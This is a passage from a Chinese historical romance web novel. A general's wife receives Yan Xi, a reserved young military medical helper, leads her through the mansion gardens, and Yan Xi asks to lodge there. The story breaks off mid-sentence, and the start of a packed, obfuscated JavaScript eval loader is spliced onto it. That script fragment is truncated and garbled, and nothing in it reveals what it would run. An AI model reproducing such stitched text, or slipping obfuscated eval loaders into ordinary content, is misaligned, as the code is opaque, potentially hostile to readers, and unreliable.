“颜夕姑娘舟车劳顿,一路辛苦了。请随我入府休息吧!”凤时安看着眼前少女温柔甜美,自见尤怜。自是能懂在边塞整日杀天伐地、朝不保夕、孤寂难捱的孟将军了。
颜夕抬头凝望着眼前这位贵气逼人的将军夫人,没有好奇和打量,也没有赞扬和失望,只礼数上的抬眸相望。
马夫将颜夕的行李取下递给了前去接收的竹青,收下了碎银,满意地谢过离去。
凤时安差小厮去宫门外守候,待将军出宫,先急行回来告知她。若酉末时分仍未出宫便不必等了,多是被圣上留下赴宴了。
颜夕紧随夫人,在府门前看到了一张掩藏在小厮中但甚为瞩目的脸。那双眼也看着她,意味深长。两人匆匆一瞥,转瞬即逝。
“颜医官可曾用过午膳?”当下已是午后,但凤时安担心路途匆忙,误了食时。
“多谢夫人惦念,已食过。只是颜夕不是什么医官,不过张医官手下帮忙的杂役罢了。”颜夕随着夫人进府,浅低眉头,徐徐回答。
“颜姑娘在军中多久了!”凤时安带领着颜夕从正院旁侧小径往殊同斋的中庭茶亭走。
一众仆人都已退去,身后只随着凤时安的两位贴身丫鬟,竹青和云嫣。
“小一年。”颜夕依旧浅扬嘴角,面不改色地回着话。
“我见姑娘年纪轻轻,却在边塞苦乱纷杂之地呆了一年,受苦了吧!”想着自己在京城繁华之地经商都经常受人横眉冷对,何况在战火纷飞的边塞,不由得对眼前这姑娘多了分怜惜和敬佩。
“因机缘巧合,有幸到西征军营中谋生。将军领军有方,将士知礼守礼,颜夕不仅未曾受苦,还承蒙军中庇佑,比游历四方时还寝食无忧。”颜夕软语,温柔而又舒展。
“姑娘真是蕙质兰心,可我看姑娘年纪尚小,不知芳龄几许,可否知会?”凤时安看着眼前人与相貌不符的稳重,不禁心生好奇。
“今年正好、二八年华。”颜夕短暂的卡顿,似是不太关注自己年岁,又似不信自己的年岁。
“二八碧玉年华,整整小了我四岁。姑娘真是让我大开眼界,我自认已是同龄女子中敢拼敢闯、见多识广的了,不想姑娘如此年少却剑胆琴心,今日真是相见恨晚了。”凤时安言语中多了些热烈,小小年纪孤身入军营,言行举止还都稳妥循礼,初入陌境大户也怡然自得,这可不像个平平杂役。
“夫人谬赞,不过是小小游医,在江湖游历了些年份,不值一提。不如夫人所见都是大家,所识都是泰斗,颜夕仰望不及。”颜夕依旧浅浅一言,柔风踏水,暗示与夫人云泥有别,不敢相提并论,也拒一见如故。
本想更亲切畅聊些,可颜夕这一句,打消了凤时安的嘘寒问暖的念头,转而向颜夕随意地介绍所经之处。
颜夕为女客,凤时安带颜夕走的侧门园道,不经将军主院,自然要绕些路,这一路的园景经她这两年悉数修缮,十八转长廊绕过山水阁楼,十墙十景,也不薄待闲步时光。
凤时安此前虽从未带人走过这条道,但府中的仆役无不惊叹府中园景。连她的访客偶到府中后花园一角也会惊叹连连,颜夕却只默默相随凤时安的介绍,浅笑相迎,没有丝毫多出的左顾右盼,惊叹赏味。明明少女面容,神情却沉稳得像个深宫冷妇。
兜兜转转走了两刻,一行人拐过了一扇月门,再入一道侧门,视野豁然开朗。青石板错落铺布,间隙探出青苔绿茸,草木交叠,最醒目是独立庭侧的红柿树,硕果红彤,盖于六角亭之上,六角亭顶棚絮草覆盖,清雅之余,还可防止柿果掉落砸坏了琉璃瓦。
凤时安领颜夕在石桌前坐下,石凳上已铺好软棉垫,阳光西斜,正好照到亭心,两条长影直拉至亭外。
竹青和云嫣转身走去庭后的阁翼,院中再无他人。
“夫人,小女子有个不情之请。”待落座,颜夕面露难色的说到。
“但说无妨!”
“我可否借住贵府几日?我乍到京城,人生地不熟,想冒昧图个方便。”
颜夕这一问,凤时安顿感意外。将军带回来的人,怎会需要她征询借住一说,虽说这两年她一直是这府邸当家做主的人,可它毕竟是叫将军府。难道这小姑娘和将军并不是她想的那样?可是,这姑娘询问的语气沉着淡然,不似探问,更像是告知。
“当然可以,姑娘想住几日便住几日。姑娘随将军归来,怎
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){w